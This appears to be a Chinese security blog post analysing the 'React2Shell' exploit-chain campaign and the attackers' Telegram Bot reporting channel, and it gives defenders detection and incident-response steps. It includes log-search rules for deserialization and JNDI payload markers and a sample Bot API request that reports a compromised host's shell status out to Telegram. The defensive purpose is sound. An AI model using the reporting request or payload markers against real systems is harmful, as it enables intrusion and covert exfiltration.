React2Shell攻击链拆解:从Telegram战报系统到应急响应

发布时间:2026/10/17 7:58:08
React2Shell攻击链拆解:从Telegram战报系统到应急响应 先问个问题你所在公司的安全团队最近有没有收到过这样的预警——一条漏洞利用链在几小时内打穿几百家企业攻击进度不是人工统计而是自动同步到某个聊天频道里我最近在复盘一批涉及公网系统的批量攻击事件时最感慨的是这个标题背后的场景黑客利用Telegram做“战报系统”900余家企业遭React2Shell漏洞批量洗劫。放在几年前这几乎不可想象。手工打点的时代一个攻击者一天能拿下一两台服务器就算高产现在扫描、指纹识别、漏洞利用、结果回传全部自动化带队的人坐在屏幕前看着频道里的战报刷屏像在看一场实时直播。所谓React2Shell并不是某个开源前端框架本身出了一个远程代码执行漏洞而是安全社区对一整类利用链的统称入口是跑着React单页应用的业务系统最终拿到的是操作系统Shell。这次事件里被点名的900余家企业绝大多数是被同一条利用链批量投递后倒下的。这篇文章我不打算从头讲攻击者怎么做而是把这条链拆开从作战模型、漏洞特征、Telegram战报系统原理再到企业应急响应该做什么一条线过一遍。无论你是安全运营、运维还是开发负责人都能在里面找到可以直接抄作业的部分。1. 批量洗劫900余家企业的作战模型漏洞、指纹、回传1.1 为什么黑客需要一套“战报系统”先说一个反直觉的事实大规模攻击事件背后往往不是一个人而是一个分工明确的团伙。有人负责资产测绘有人负责写漏洞利用脚本有人负责内网横向有人负责数据变现。人一多就一定会出现一个需求同步战果。你说可以用聊天工具私聊问题在于一个人手里捏着几十台服务器的权限每台的状态都在实时变化靠私聊根本管理不过来。攻击者需要的是一套类似“订单管理系统”的东西只不过这里的“客户”是目标系统“订单状态”是漏洞利用进度。于是“战报系统”就出现了。自动化脚本把每台目标的利用结果发送到一个固定的频道或群组里格式统一、实时刷新、所有人共享。谁处理到哪一步、哪些目标值得深入、哪些已经失去价值扫一眼就清楚。这次事件里攻击者选择的消息通道是Telegram因为Bot API足够简单一条HTTP请求就能把战报推送出去不需要自己维护任何基础设施。说白了这就是攻击运营思维的体现连“后勤”都要标准化。我见过不少人对“黑客用聊天软件同步战报”这件事嗤之以鼻觉得不高级。但恰恰相反这种轻量化方案在实战中极其有效。传统C2命令控制服务器要买域名、租主机、配置加密通信每一样都需要维护还容易被溯源而基于Telegram Bot API的方案攻击者只需要一个Token其他什么都不用管。这套逻辑放在任何行业里都成立能用现成基础设施解决的问题就没有必要自建。1.2 一条利用链打一片同类系统为何集体遭殃真正让900余家企业在同一波攻击里集体中招的不是攻击者有多聪明而是部署在同一类技术栈上的企业系统实在太多了。很多中型企业做业务系统时选型高度一致前端统一用React重构后端沿用某个被广泛使用的Java快速开发框架。这类系统通常保留着早期框架的“原汁原味”能力不安全的序列化解析、接口未授权访问、表达式执行全都有。在公网上它们暴露着大量入口订单导入、报表导出、工作流审批、低代码表单渲染随便一个都可能成为利用点。攻击者只要把其中一条利用链研究透就能在任何一个长得一样的系统上重复利用。批量洗劫的流程大致可以概括为四步全网资产测绘抓取公网IP和域名识别出跑着同类系统的指纹对命中指纹的目标批量发送漏洞利用请求每成功一个脚本就向战报频道上报一次。最后人工根据战报挑选高价值目标做深入渗透。整个过程中人只出现在两头一头是写插件一头是看战报做决策中间全部自动化。这里有个很扎心的事实你不是被“随机”选中的你是被“分类”选中的。攻击者没有任何动机去针对某一家企业他要的是“同款系统”这个集合。所以如果你的系统和别人长得一模一样那么当某一天这条利用链被打穿时你大概率也在队列里。2. React2Shell漏洞利用链到底打在哪检测特征与日志检索思路2.1 React2Shell不是“React的漏洞”而是整条利用链的代号我第一次看到“React2Shell”这个代号时也愣了一下。React是前端框架理论上不直接接触服务器运行时怎么会跟拿到Shell扯上关系后来拆开看才明白这个代号描述的是一个完整链路起点是跑着React单页应用的业务系统终点是你拿到了服务器的命令执行权限。安全社区给它起这个名字更多是为了方便指代这条利用链而不是说React框架本身存在漏洞。以这次事件里最常见的一类路径为例某业务系统的导入导出功能后端接口接收用户上传的模板文件并解析。前端是React写的攻击者看到的入口是一个单页应用后端解析模板时用了不安全的组件攻击者上传一个精心构造的模板文件触发反序列化漏洞直接执行系统命令。还有一类更直接的后台管理接口把用户提交的对象当作表达式计算相当于把代码执行能力直接交给了攻击者。这类漏洞在技术上并不新鲜反序列化、表达式注入都是安全圈的老话题了。它之所以能造成“批量洗劫”的杀伤力核心靠两点一是系统同构化严重二是暴露面太大。大量企业把管理后台、文件导入、接口调试功能直接放在公网连基本的访问控制都没有攻击者扫描到一个入口就能顺藤摸瓜。2.2 攻击请求的典型特征与日志检索思路作为防守方我们不可能等攻击者把利用脚本交到手上。更有效的做法是把攻击请求的共性特征提炼出来写成检索规则去历史日志里翻这和写杀毒软件的病毒特征是一个思路。参照各参与方的复盘React2Shell利用链的请求通常有下面这些特征请求集中命中少数几个高危路径/api/importTemplate、/api/editor/save、/api/gateway/exec、/api/upload这一类。请求方式几乎都是POSTContent-Type是multipart/form-data、application/json或x-www-form-urlencoded。请求体要么是超长base64字符串要么以rO0AB开头Java对象序列化流的固定头要么包含jndi:、ldap://、${...}这类关键字。同一个源IP会在短时间内对同一路径发起多次尝试每次payload都不一样明显是在试错。日志检索语句可以这么写以常见检索语法为例methodPOST AND status200 AND path IN (/api/importTemplate, /api/editor/save, /api/gateway/exec, /api/upload) AND (body_contains(rO0AB) OR body_contains(jndi:) OR body_contains(ldap://))出现命中不代表一定被利用了但至少意味着存在攻击尝试需要结合响应结果继续排查。比如紧跟着出现一个上传成功记录或者第二天Web目录里多了个陌生JSP、PHP文件那基本可以断定已经落地了。这里我建议把告警时间窗口拉长到“攻击请求前后24小时”因为有些后门不是当场写入的而是攻击者先完成漏洞探测确认成功后才手动上传工具。2.3 批量投递的自动化流程指纹识别到落地的四步攻击者真正厉害的地方是把整个流程工程化了。拆开看就是四步缺一不可资产测绘扫描全网收集开放了80、443、8080等端口的IP和域名。指纹识别通过前端静态资源、后端响应头、登录页特征判断是不是目标框架。React应用通常会在HTML里出现几个固定的JS文件名有的系统后端会返回自定义的X-Powered-By响应头有的登录页有特定的Title或Logo资源路径。批量投递命中指纹的目标进入队列利用脚本用线程池做高并发请求不需要人盯着。结果回传每成功一个目标脚本立即组装一条消息发到Telegram战报频道带上目标信息、系统类型、权限、Shell地址。这四步里指纹识别决定了批量投递的精度。所以防守方要做的事情也很明确让指纹识别失效让同款系统出现差异。举个例子把框架默认的响应头改掉、隐藏页面里明显的框架标识、给管理后台加双重访问控制、把高风险的导入导出接口改成内网白名单访问。这些做法不复杂但能直接把攻击者的测绘成本抬上去。攻击者看到一百个面目模糊的系统时通常会放弃这一批转而去挑更容易的下手。3. Telegram“战报系统”拆解黑客的后勤指挥中枢长什么样3.1 它其实不复杂Bot API 一条HTTP请求很多人把“Telegram战报系统”想象得很神秘其实拆开就两件东西一个Telegram Bot和一个能发HTTP请求的脚本。攻击者先申请一个Bot拿到Bot Token格式是一串“数字:大小写字母”组成的密钥再创建一个频道或群组把Bot拉进去拿到对应的Chat ID。之后的逻辑非常简单调用Bot API的sendMessage接口把战报文本放进请求体即可。请求大概长这样只展示对防守方有参考价值的报文结构不涉及任何完整攻击利用代码POST /botINSERT_TOKEN/sendMessage HTTP/1.1 Host: api.telegram.org Content-Type: application/json {chat_id: -100xxxxxxxxxx, text: [] unit_idxxx statusgetshell host10.10.x.x permissionroot, parse_mode: Markdown}被攻陷的服务器上通常落着一个几十行的小脚本定时执行一次把本机状态上报出去。因为请求本身是标准的HTTPS外联如果企业没有做细粒度的出网管控这类流量在防火墙上看起来和普通业务外联没什么区别。这就是它隐蔽性的来源它确实在“偷偷”通信但它走的是一条现成的、看似无害的消息通道。3.2 黑客的战报里到底写了什么我接触过不少这类频道的截图战报格式一般非常规整字段大同小异。整理下来核心信息大概是这些字段说明为什么黑客要记这个目标标识域名、IP或企业名称区分不同目标避免重复劳动指纹名称框架/组件型号版本决定后续内网渗透用什么工具利用入口命中的具体接口复盘用评估这条链能否复用Shell状态是否成功、连接地址把权限交接给后续操作者系统环境OS、Web目录、当前权限判断目标值不值得继续投入数据外传已导出数据量、存放位置数据价值直接决定收益存活检测上次上报时间、agent状态防止权限掉了还不知道如果你在日志里发现某个进程反复访问消息类API域名并且请求数据里带着上面这些字段那基本可以确认是攻击者的战报通道。这时候不要犹豫按应急流程处理后面第4部分会讲具体动作。3.3 为什么选Telegram免费、实时、很难被注意从攻击者视角看选择消息通道的第一诉求不是你想象的高强度加密通信而是“零成本、够快、不用维护”。Telegram Bot API几乎完美满足这三点免费、一条HTTP请求即可发布、手机电脑实时同步多人协作时频道比私聊清晰得多还能用所有人提醒关键节点。整套系统不需要攻击者自己准备任何基础设施唯一的“资产”就是一个Token。这里有个容易被忽略的点用现成的消息API意味着攻击者少了一大块需要维护的“根据地”。传统C2要有域名、主机、通信协议每一件都可能被溯源、被处置而消息API是第三方公开服务攻击者不拥有它所以企业拿它做检测点反而更有效。防守方要注意的是企业服务器如果出现对api.telegram.org的主动外联尤其是由非业务进程、非运维脚本发起的优先级应该直接提到最高。当然也要区分正常场景有些运维团队确实会用Bot API发告警判断时要结合发起进程路径、请求内容和频率不能一棍子打死。4. 企业自检与应急响应从止血到持续监控的五个关键动作4.1 拿到预警后第一步先查这三件事如果公司内部通报说某类系统存在React2Shell利用风险或者你已经在日志里看到异常请求先不要慌按顺序做三件事。先翻Web日志。按第2.2节的检索语句把攻击请求捞出来确认来源IP、命中路径、时间窗口。重点是两个有没有返回成功状态码的请求请求之后有没有出现文件上传、接口调用等后续动作。这一步能帮你判断攻击是“到门口看了一眼”还是“已经进来了”。再查Web目录和临时目录里的可疑文件。常见后门文件名后缀是jsp、jspx、php、aspx有的藏在/upload/、/static/、/tmp/目录里文件名经常是随机字符串或者伪装成系统日志的样子。建议把文件按修改时间排序重点看告警时间段内新增的文件先查后缀敏感的文件再查文件名可疑的。最后查进程和计划任务。看看有没有可疑进程持续外联计划任务有没有新增条目。不需要记住所有系统命令思路就是凡是路径在/tmp/、根目录或隐藏目录里的计划任务凡是父进程是Web容器但命令行带着curl、wget、base64字符串的进程全部视为高危信号。这三件事做完你对事件的定性基本就有数了。4.2 止血五件事少一件都可能二次沦陷确认被攻陷之后处置顺序非常关键。我按优先级整理了五件事建议直接抄断外联先于清后门。发现服务器被攻陷第一步不是删文件而是断开服务器对外访问至少先封锁出网连接再谈清理。否则你删一个Webshell攻击者远程连上来又传一个陷入猫鼠游戏。封禁消息API外联。在防火墙和边界设备上对消息类API域名做访问控制。没有业务需求的服务器一律禁止外联。这一步直接掐断攻击者的“战报通道”让他失去对权限的实时掌控。升级受影响组件。找到利用链命中的组件升级到修复版本或打补丁。这一步是治本不升级的话清理完漏洞下次还会被打。收紧公网暴露面。管理后台、导入导出接口、调试接口全部改为内网访问或加白名单临时开放的端口立即关闭。全量改口令。系统口令、数据库口令、中间件管理口令全部更换重点防范攻击者已经拿到了运维凭据。这一步经常被忽略但批量攻击里非常常见攻击者拿到一个口令打穿一片同口令系统。这五件事的顺序是有讲究的。先断网再清后门是为了防止清理过程中攻击者干预先封消息外联再升级组件是为了截断攻击者的指挥链路。只有每条链路都堵住才算真正的止血。4.3 把一次应急变成长期防御监控与反制一次应急做完如果只是把Webshell删了、漏洞补了那三个月后同样手法换个马甲还能再来。真正的价值在于把这次事件沉淀成监控规则和防御机制。我建议做三件事。第一做外联基线监控。给所有服务器建立“外联基线”明确哪些服务器可以主动访问哪些域名。不在基线的外联请求哪怕一次也直接告警。攻击者的战报回传一旦需要绕过这条基线成本和暴露风险都会大幅上升。第二做差异化部署。让你和同类系统之间的指纹不再千篇一律。修改默认响应头、移除明显的框架特征、给后台登录加二次验证这些动作能让攻击者的批量扫描命中率直线下降。做扫描的人看到的结果是“这一批系统里找不到可靠目标”自然会转向别处。第三部署高交互蜜罐。把一台伪装成同款系统的蜜罐放进公网攻击者扫描和投递时蜜罐会完整记录他的工具链、请求手法、甚至他后续尝试执行的命令。蜜罐相当于给攻击者配了一部假电话他打给谁、说了什么你这边都有录音。虽然不能直接阻止攻击但对于情报收集和溯源来说价值非常高。5. 常见问题排查对照表与应急经验心得5.1 高频问题排查对照表下面这张表是我整理应急案例时经常遇到的现象和对应处置思路放在这里方便你直接查现象可能原因排查/处置建议Web服务器CPU突然飙升后回落反序列化漏洞被用来执行资源密集型命令检查对应时间段访问日志看是否存在异常POST日志中出现对消息类API域名的请求攻击者战报回传脚本仍在运行定位进程和计划任务先断外联再清除Web目录新增可疑jsp/php文件攻击者已拿到权限并写入持久化后门不要直接删除先停机取证确认是否还有隐藏入口数据库账号口令突然失效数据被导出后被攻击者篡改重置口令检查数据库操作日志防火墙连续拦截相同payload攻击者正批量扫描同类系统更新WAF规则通知相关服务器全面排查访问日志出现大量相同User-Agent自动化工具在做指纹识别对来源IP做临时限流分析其访问路径登录接口请求体是二进制乱码可能是不安全反序列化尝试记录请求体样本分析是否命中漏洞特征多台服务器同时沦陷同一套框架漏洞被自动化投递全量排查所有同类框架系统而不只是单台5.2 应急响应时我踩过的几个坑做应急响应这些年踩过不少坑挑几个有代表性的说说。第一个坑只查Web日志不查负载均衡后端的应用日志。流量经过负载均衡设备后Web日志里来源IP全是内网IP攻击者的真实来源被掩盖了。如果直接按IP去封整个网段都会被误封。正确做法是把负载均衡和应用日志关联起来用会话ID或响应时间窗口去找攻击特征而不是依赖单一数据源。第二个坑删了Webshell就以为完事。攻击者实现持久化不只有文件这一种方式可能是计划任务、服务注册甚至是内存马。清理完文件后一定要重启进程再观察一段时间的外联流量确认没有“复活”迹象。一次应急做到“清理后观察24小时无异常外联”才算真正结束。第三个坑把告警全部交给WAF就不管了。WAF拦截日志里躺着一堆漏洞利用请求但如果只看拦截数量不看后续访问就会漏掉已经绕过规则的流量。WAF的规则永远有滞后性定期对拦截日志做二次分析找出那些“绕过”或“变形”的请求才能跟上攻击者的节奏。第四个坑把正常业务外联也当攻击。有的企业运维脚本会向消息服务发通知误报后盲目封禁导致业务告警通道中断。收到告警先看进程路径和请求内容再决定要不要处置宁停三分不误封一秒。判断的标准是“谁在发、发给谁、发什么”而不是“发生外联就要封”。最后说点个人体会。做了这些年应急响应我最大的感受是攻击者早就在用工业化思路打批量战防守方如果还靠人工“救火式”响应差距只会越拉越大。这次事件里最值得思考的其实不是某个漏洞有多厉害而是Telegram战报系统这种轻量级后勤保障带来的效率提升——它说明攻击组织开始像正经团队一样运营攻击了。我建议每家企业的安全负责人今晚就做两件小事第一检查防火墙出网策略看服务器能否访问消息类API域名第二把这篇里的检索语句丢进日志系统跑一遍看看有没有历史告警。这两件事加起来用不了一小时但可能决定下次攻击发生时你是被动收到通报的那一个还是主动发现威胁的那一个。